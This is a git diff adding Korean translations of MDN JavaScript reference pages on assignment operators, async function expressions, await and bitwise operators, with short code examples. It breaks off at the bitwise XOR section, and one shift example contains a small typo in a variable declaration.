+ <tr>
+ <td><a href="#Division_assignment">나눗셈 할당</a></td>
+ <td><code>x /= y</code></td>
+ <td><code>x = x / y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Remainder_assignment">나머지 연산 할당</a></td>
+ <td><code>x %= y</code></td>
+ <td><code>x = x % y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Exponentiation_assignment">지수 연산 할당</a></td>
+ <td><code>x **= y</code></td>
+ <td><code>x = x ** y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Left_shift_assignment">왼쪽 시프트 할당</a></td>
+ <td><code>x &lt;&lt;= y</code></td>
+ <td><code>x = x &lt;&lt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Right_shift_assignment">오른쪽 시프트 할당</a></td>
+ <td><code>x &gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Unsigned_right_shift_assignment">부호없는 오른쪽 시프트 할당</a></td>
+ <td><code>x &gt;&gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_AND_assignment">비트 AND 할당</a></td>
+ <td><code>x &amp;= y</code></td>
+ <td><code>x = x &amp; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_XOR_assignment">비트 XOR 할당</a></td>
+ <td><code>x ^= y</code></td>
+ <td><code>x = x ^ y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_OR_assignment">비트 OR 할당</a></td>
+ <td><code>x |= y</code></td>
+ <td><code>x = x | y</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="할당"><a name="Assignment">할당</a></h2>
+
+<p>단순 할당 연산자는 값을 변수에 할당합니다. 할당 연산자는 할당의 결과값으로 평가됩니다. 할당 연산자를 연속해서 사용해, 다수의 변수에 하나의 값을 한꺼번에 할당할 수 있습니다. 예제를 참고하세요.</p>
+
+<h4 id="구문">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x = y
+</pre>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// x = 5
+// y = 10
+// z = 25
+
+x = y // x는 10
+x = y = z // x, y, z 모두 25
+</pre>
+
+<h3 id="덧셈_할당"><a name="Addition_assignment">덧셈 할당</a></h3>
+
+<p>덧셈 할당 연산자는 변수에 오른쪽 피연산자의 값을 더하고, 그 결과를 변수에 할당합니다. 두 피연산자의 자료형이 덧셈 할당 연산자의 행동을 결정합니다. 덧셈 연산자처럼 합 또는 연결이 가능합니다. 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "덧셈 연산자", "#Addition", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x += y
+<strong>의미:</strong> x = x + y
+</pre>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// foo = "foo"
+// bar = 5
+// baz = true
+
+
+// Number + Number -&gt; 합
+bar += 2 // 7
+
+// Boolean + Number -&gt; 합
+baz += 1 // 2
+
+// Boolean + Boolean -&gt; 합
+baz += false // 1
+
+// Number + String -&gt; 연결
+bar += 'foo' // "5foo"
+
+// String + Boolean -&gt; 연결
+foo += false // "foofalse"
+
+// String + String -&gt; 연결
+foo += 'bar' // "foobar"
+</pre>
+
+<h3 id="뺄셈_할당"><a name="Subtraction_assignment">뺄셈 할당</a></h3>
+
+<p>뺄셈 할당 연산자는 변수에서 오른쪽 피연산자의 값을 빼고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "뺄셈 연산자", "#Subtraction", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x -= y
+<strong>의미:</strong> x = x - y
+</pre>
+
+<h4 id="예제_3">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// bar = 5
+
+bar -= 2 // 3
+bar -= "foo" // NaN
+</pre>
+
+<h3 id="곱셈_할당"><a name="Multiplication_assignment">곱셈 할당</a></h3>
+
+<p>곱셈 할당 연산자는 변수에 오른쪽 피연산자의 값을 곱하고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "곱셈 연산자", "#Multiplication", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_4">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x *= y
+<strong>의미:</strong> x = x * y
+</pre>
+
+<h4 id="예제_4">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// bar = 5
+
+bar *= 2 // 10
+bar *= "foo" // NaN
+</pre>
+
+<h3 id="나눗셈_할당"><a name="Division_assignment">나눗셈 할당</a></h3>
+
+<p>나눗셈 할당 연산자는 변수를 오른쪽 피연산자로 나누고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "나눗셈 연산자", "#Division", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_5">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x /= y
+<strong>의미:</strong> x = x / y
+</pre>
+
+<h4 id="예제_5">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// bar = 5
+
+bar /= 2 // 2.5
+bar /= "foo" // NaN
+bar /= 0 // Infinity
+</pre>
+
+<h3 id="나머지_연산_할당"><a name="Remainder_assignment">나머지 연산 할당</a></h3>
+
+<p>나머지 연산 할당은 변수를 오른쪽 피연산자로 나눈 나머지를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "나머지 연산자", "#Remainder", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_6">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x %= y
+<strong>의미:</strong> x = x % y
+</pre>
+
+<h4 id="예제_6">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// bar = 5
+
+bar %= 2 // 1
+bar %= "foo" // NaN
+bar %= 0 // NaN
+</pre>
+
+<h3 id="거듭제곱_할당"><a id="Exponentiation_assignment" name="Exponentiation_assignment">거듭제곱 할당</a></h3>
+
+<p>거듭제곱 할당 연산자는 변수를 오른쪽 피연산자만큼 거듭제곱한 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "거듭제곱 연산자", "#Exponentiation", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_7">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x **= y
+<strong>의미:</strong> x = x ** y
+</pre>
+
+<h4 id="예제_7">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+// bar = 5
+
+bar **= 2 // 25
+bar **= "foo" // NaN</pre>
+
+<h3 id="왼쪽_시프트_할당"><a name="Left_shift_assignment">왼쪽 시프트 할당</a></h3>
+
+<p>왼쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 왼쪽으로 이동하고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_8">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &lt;&lt;= y
+<strong>의미:</strong> x = x &lt;&lt; y
+</pre>
+
+<h4 id="예제_8">예제</h4>
+
+<pre class="brush: js">var bar = 5; // (00000000000000000000000000000101)
+bar &lt;&lt;= 2; // 20 (00000000000000000000000000010100)
+</pre>
+
+<h3 id="오른쪽_시프트_할당"><a name="Right_shift_assignment">오른쪽 시프트 할당</a></h3>
+
+<p>오른쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 우측으로 이동하고, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_9">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &gt;&gt;= y
+<strong>의미:</strong> x = x &gt;&gt; y
+</pre>
+
+<h4 id="예제_9">예제</h4>
+
+<pre class="brush: js">var bar = 5; // (00000000000000000000000000000101)
+bar &gt;&gt;= 2; // 1 (00000000000000000000000000000001)
+
+var bar -5; // (-00000000000000000000000000000101)
+bar &gt;&gt;= 2; // -2 (-00000000000000000000000000000010)
+</pre>
+
+<h3 id="부호_없는_오른쪽_시프트_할당"><a name="Unsigned_right_shift_assignment">부호 없는 오른쪽 시프트 할당</a></h3>
+
+<p>부호 없는 오른쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 우측으로 이동하고, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}}을 참고하세요.</p>
+
+<h4 id="구문_10">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &gt;&gt;&gt;= y
+<strong>의미:</strong> x = x &gt;&gt;&gt; y
+</pre>
+
+<h4 id="예제_10">예제</h4>
+
+<pre class="brush: js">var bar = 5; // (00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2; // 1 (00000000000000000000000000000001)
+
+var bar = -5; // (-00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2; // 1073741822 (00111111111111111111111111111110)</pre>
+
+<h3 id="비트_AND_할당"><a name="Bitwise_AND_assignment">비트 AND 할당</a></h3>
+
+<p>비트 AND 할당 연산자는 양쪽 피연산자의 이진 표현을 AND 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은{{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}}을 참고하세요.</p>
+
+<h4 id="구문_11">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &amp;= y
+<strong>의미:</strong> x = x &amp; y
+</pre>
+
+<h4 id="예제_11">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+bar &amp;= 2; // 0
+</pre>
+
+<h3 id="비트_XOR_할당"><a name="Bitwise_XOR_assignment">비트 XOR 할당</a></h3>
+
+<p>비트 XOR 할당 연산자는 양쪽 피연산자의 이진 표현을 XOR 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "bitwise XOR operator", "#Bitwise_XOR", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_12">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x ^= y
+<strong>의미:</strong> x = x ^ y
+</pre>
+
+<h4 id="예제_12">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+bar ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h3 id="비트_OR_할당"><a name="Bitwise_OR_assignment">비트 OR 할당</a></h3>
+
+<p>비트 OR 할당 연산자는 양쪽 피연산자의 이진 표현을 OR 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "bitwise OR operator", "#Bitwise_OR", 1)}}를 참고하세요.</p>
+
+<h4 id="문법">문법</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x |= y
+<strong>의미:</strong> x = x | y
+</pre>
+
+<h4 id="예제_13">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+bar |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="예제_14">예제</h2>
+
+<h3 id="다른_할당_연산자를_갖는_왼쪽_피연산자">다른 할당 연산자를 갖는 왼쪽 피연산자</h3>
+
+<p>드물게, 할당 연산자(예: <code>x += y</code>)와 그 의미를 나타낸 표현(<code>x = x + y</code>)이 동일하지 않은 경우가 있습니다. 할당 연산자의 왼쪽 피연산자가 다른 할당 연산자를 포함할 때, 왼쪽 피연산자는 한 번만 평가됩니다. 예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">a[i++] += 5 // i는 한 번만 평가됨
+a[i++] = a[i++] + 5 // i는 두 번 평가됨
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">산술 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/async_function/index.html b/files/ko/web/javascript/reference/operators/async_function/index.html
new file mode 100644
index 0000000000..d1ec146ca4
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/async_function/index.html
@@ -0,0 +1,96 @@
+---
+title: async function 표현식
+slug: Web/JavaScript/Reference/Operators/async_function
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>async function</code></strong> 키워드는 표현식 내에서 <code>async</code> 함수를 정의하기 위해 사용됩니다.</p>
+
+<p>또한 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function" title="The async function keyword can be used to define async functions inside expressions.">async function statement</a>을 사용하여 async 함수를 정의할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">async function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { <em>statements </em>}</pre>
+
+<p>ES2015에서와 같이 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>를 사용해도 됩니다.</p>
+
+<h3 id="인수">인수</h3>
+
+<dl>
+ <dt><code><var>name</var></code></dt>
+ <dd>함수 이름. 생략가능하며 이경우함수는 <em>anonymous</em> 형식임  이름은 함수 몸체에 대해 지역적으로 사용.</dd>
+ <dt><code><var>paramN</var></code></dt>
+ <dd>함수에 전달될 인수의 이름.</dd>
+ <dt><code><var>statements</var></code></dt>
+ <dd>함수 몸체를 구성하는 명령문들.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>async function</code> 표현식은 {{jsxref('Statements/async_function', '<code>async function</code> 선언')}} 문법과 유사하며, 거의 동일합니다. <code>async function</code> 표현식과 <code>async function</code> 선언문의 주요 차이점은 익명함수로써의 사용 여부로, <code>async function</code> 표현식은 함수 이름을 생략하면 익명함수를 만듭니다. <code>async function</code> 표현식은 {{Glossary("IIFE")}}(즉시실행함수)로 사용할 수 있습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a></code>문서를 참고하세요.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<pre><code>function resolveAfter2Seconds(x) {
+ return new Promise(resolve =&gt; {
+ setTimeout(() =&gt; {
+ resolve(x);
+ }, 2000);
+ });
+};
+
+
+var add = async function(x) { // async function 표현식을 변수에 할당
+ var a = await resolveAfter2Seconds(20);
+ var b = await resolveAfter2Seconds(30);
+ return x + a + b;
+};
+
+add(10).then(v =&gt; {
+ console.log(v); // 4초 뒤에 60 출력
+});
+
+
+(async function(x) { // async function 표현식을 IIFE로 사용
+ var p_a = resolveAfter2Seconds(20);
+ var p_b = resolveAfter2Seconds(30);
+ return x + await p_a + await p_b;
+})(10).then(v =&gt; {
+ console.log(v); // 2초 뒤에 60 출력
+});</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ES2017.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("javascript.operators.async_function_expression")}} </div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/await/index.html b/files/ko/web/javascript/reference/operators/await/index.html
new file mode 100644
index 0000000000..00b5fd3eff
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/await/index.html
@@ -0,0 +1,137 @@
+---
+title: await
+slug: Web/JavaScript/Reference/Operators/await
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div><code>await</code>연산자는 {{jsxref("Promise")}}를 기다리기 위해 사용됩니다. 연산자는 {{jsxref("Statements/async_function", "async function")}} 내부에서만 사용할 수 있습니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>{{jsxref("Promise")}} 혹은 기다릴 어떤 값입니다.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>{{jsxref("Promise")}}에 의해 만족되는 값이 반환됩니다. {{jsxref("Promise")}}가 아닌 경우에는 그 값 자체가 반환됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>await</code> 문은 <code>Promise</code>가 fulfill되거나 <code>reject</code> 될 때까지 <code>async</code> 함수의 실행을 일시 정지하고, <code>Promise</code>가 fulfill되면 <code>async</code> 함수를 일시 정지한 부분부터 실행합니다. 이때  <code>await</code> 문의 반환값은 <code>Promise</code> 에서 fulfill된 값이 됩니다.</p>
+
+<p>만약 <code>Promise</code>가 <code>reject</code>되면, <code>await</code> 문은 <code>reject</code>된 값을 <code>throw</code>합니다.</p>
+
+<p><code>await</code> 연산자 다음에 나오는 문의 값이 <code>Promise</code>가 아니면 해당 값을 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">resolved Promise</a>로 변환시킵니다.</p>
+
+<p>An <code>await</code> can split execution flow, allowing the caller of the <code>await</code>'s function to resume execution before the deferred continuation of the <code>await</code>'s function. After the <code>await</code> defers the continuation of its function, if this is the first <code>await</code> executed by the function, immediate execution also continues by returning to the function's caller a pending <code>Promise</code> for the completion of the <code>await</code>'s function and resuming execution of that caller.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>만약 <code>Promise</code>가 <code>await</code>에 넘겨지면, <code>await</code>은 <code>Promise</code>가 fulfill되기를 기다렸다가, 해당 값을 리턴합니다.</p>
+
+<pre class="brush: js notranslate">function resolveAfter2Seconds(x) {
+ return new Promise(resolve =&gt; {
+ setTimeout(() =&gt; {
+ resolve(x);
+ }, 2000);
+ });
+}
+
+async function f1() {
+ var x = await resolveAfter2Seconds(10);
+ console.log(x); // 10
+}
+
+f1();
+</pre>
+
+<p>{{jsxref("Global_Objects/Promise/then", "Thenable objects")}} will be fulfilled just the same.</p>
+
+<pre class="notranslate"><code>async function f2() {
+ const thenable = {
+ then: function(resolve, _reject) {
+ resolve('resolved!')
+ }
+ };
+ console.log(await thenable); // resolved!
+}
+
+f2();</code></pre>
+
+<p>만약 값이 <code>Promise</code>가 아니라면, 해당 값은 <code>resolve</code>된 <code>Promise</code>로 변환되며 이를 기다립니다.</p>
+
+<pre class="brush: js notranslate">async function f2() {
+ var y = await 20;
+ console.log(y); // 20
+}
+f2();
+</pre>
+
+<p>만약 <code>Promise</code>가 <code>reject</code>되면, <code>reject</code>된 값이 <code>throw</code>됩니다.</p>
+
+<pre class="brush: js notranslate">async function f3() {
+ try {
+ var z = await Promise.reject(30);
+ } catch(e) {
+ console.log(e); // 30
+ }
+}
+f3();
+</pre>
+
+<p>try블럭 없이 rejected <code>Promise</code>다루기</p>
+
+<pre class="notranslate"><code>var response = await promisedFunction().catch((err) =&gt; { console.error(err); });
+// response will be undefined if the promise is rejected</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("ESDraft", "#sec-async-function-definitions", "async functions")}}</td>
+ <td>{{Spec2("ESDraft")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("ES2018", "#sec-async-function-definitions", "async functions")}}</td>
+ <td>{{Spec2("ES2018")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("ES2017", "#sec-async-function-definitions", "async functions")}}</td>
+ <td>{{Spec2("ES2017")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.operators.await")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/bitwise_operators/index.html b/files/ko/web/javascript/reference/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..e94e176e08
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/bitwise_operators/index.html
@@ -0,0 +1,540 @@
+---
+title: 비트 연산자
+slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>비트 연산자</strong>는 피연산자를 10진수, 16진수, 8진수가 아니라, 32개의 비트(0과 1) 집합으로 취급합니다. 예를 들어, 10진수 9의 2진수 표기법은 1001입니다. 이렇게, 비트 연산자는 값의 2진수 표현을 사용해 연산하지만, 결과는 표준 JavaScript 숫자 값으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div>
+
+
+
+<p>다음은 JavaScript의 비트 연산자를 요약한 표입니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>연산자</th>
+ <th>사용방법</th>
+ <th>설명</th>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_AND">비트 AND</a></td>
+ <td><code>a &amp; b</code></td>
+ <td>피연산자를 비트로 바꿨을 때 각각 대응하는 비트가 모두 1이면 그 비트값에 1을 반환.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_OR">비트 OR</a></td>
+ <td><code>a | b</code></td>
+ <td>피연산자를 비트로 바꿨을 때 각각 대응하는 비트가 모두 1이거나 한 쪽이 1이면 1을 반환.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_XOR">비트 XOR</a></td>
+ <td><code>a ^ b</code></td>
+ <td>피연산자를 비트로 바꿨을 때 대응하는 비트가 서로 다르면 1을 반환.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitwise_NOT">비트 NOT</a></td>
+ <td><code>~ a</code></td>
+ <td>피연산자의 반전된 값을 반환.</td>
+ </tr>
+ <tr>
+ <td><a href="#Left_shift">왼쪽 시프트</a></td>
+ <td><code>a &lt;&lt; b</code></td>
+ <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the left, shifting in zeros from the right.</td>
+ </tr>
+ <tr>
+ <td><a href="#Right_shift">부호 유지 오른쪽 시프트</a></td>
+ <td><code>a &gt;&gt; b</code></td>
+ <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the right, discarding bits shifted off.</td>
+ </tr>
+ <tr>
+ <td><a href="#Unsigned_right_shift">부호 버림 오른쪽 시프트</a></td>
+ <td><code>a &gt;&gt;&gt; b</code></td>
+ <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the right, discarding bits shifted off, and shifting in zeros from the left.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="부호_있는_32비트_정수">부호 있는 32비트 정수</h2>
+
+<p>The operands of all bitwise operators are converted to signed 32-bit integers in two's <a href="https://en.wikipedia.org/wiki/Method_of_complements">complement format</a>, except for zero-fill right shift which results in an unsigned 32-bit integer.</p>
+
+<p><em>Two's complement format</em> means that a number's negative counterpart (e.g. <code>5</code> vs. <code>-5</code>) is all the number's bits inverted (bitwise NOT of the number, or <em>ones' complement</em> of the number) plus one.</p>
+
+<p>For example, the following encodes the integer <code>314</code>:</p>
+
+<pre>00000000000000000000000100111010
+</pre>
+
+<p>The following encodes <code>~314</code>, i.e. the one's complement of <code>314</code>:</p>
+
+<pre>11111111111111111111111011000101
+</pre>
+
+<p>Finally, the following encodes <code>-314,</code> i.e. the two's complement of <code>314</code>:</p>
+
+<pre>11111111111111111111111011000110
+</pre>
+
+<p>The two's complement guarantees that the left-most bit is 0 when the number is positive and 1 when the number is negative. Thus, it is called the <em>sign bit</em>.</p>
+
+<p>The number <code>0</code> is the integer that is composed completely of 0 bits.</p>
+
+<pre>0 (base 10) = 00000000000000000000000000000000 (base 2)
+</pre>
+
+<p>The number <code>-1</code> is the integer that is composed completely of 1 bits.</p>
+
+<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2)
+</pre>
+
+<p>The number <code>-2147483648</code> (hexadecimal representation: <code>-0x80000000</code>) is the integer that is composed completely of 0 bits except the first (left-most) one.</p>
+
+<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+</pre>
+
+<p>The number <code>2147483647</code> (hexadecimal representation: <code>0x7fffffff</code>) is the integer that is composed completely of 1 bits except the first (left-most) one.</p>
+
+<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+</pre>
+
+<p>The numbers <code>-2147483648</code> and <code>2147483647</code> are the minimum and the maximum integers representable throught a 32bit signed number.</p>
+
+<h2 id="비트_논리_연산자">비트 논리 연산자</h2>
+
+<p>비트 논리 연산자는 다음과 같이 사용됩니다.</p>
+
+<ul>
+ <li>피연산자는 32비트 정수로 변환되고, 이진법으로 표현됩니다 (0과 1).</li>
+ <li>이진법으로 표현된 첫 번째 피연산자는 두 번째 피연산자와 쌍을 이룹니다: 첫 번째는 첫 번째 비트끼리, 두 번째는 두 번째 비트끼리...</li>
+ <li>연산자는 각각의 비트쌍에 적용되고, 결과 또한 이진법으로 구성됩니다.</li>
+</ul>
+
+<h3 id="비트_AND"><a id="Bitwise_AND" name="Bitwise_AND">&amp; (비트 AND)</a></h3>
+
+<p>비트 연산자 AND를 비트 쌍으로 실행합니다.</p>
+
+<p>Performs the AND operation on each pair of bits. <code>a</code> AND <code>b</code> yields 1 only if both <code>a</code> and <code>b</code> are 1. The truth table for the AND operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a AND b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>Bitwise ANDing any number <code>x</code> with <code>0</code> yields <code>0</code>. <span style="letter-spacing: -0.00278rem;">Bitwise ANDing any number <code>x</code> with <code>-1</code> yields <code>x</code>.</span></p>
+
+<h3 id="비트_OR"><a id="Bitwise_OR" name="Bitwise_OR">| (비트 OR)</a></h3>
+
+<p>Performs the OR operation on each pair of bits. <code>a</code> OR <code>b</code> yields 1 if either <code>a</code> or <code>b</code> is 1. The truth table for the OR operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a OR b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>Bitwise ORing any number x with 0 yields x.</p>
+
+<p>Bitwise ORing any number x with -1 yields -1.</p>
+
+<h3 id="비트_XOR"><a id="Bitwise_XOR" name="Bitwise_XOR">^ (비트 XOR)</a></h3>
+
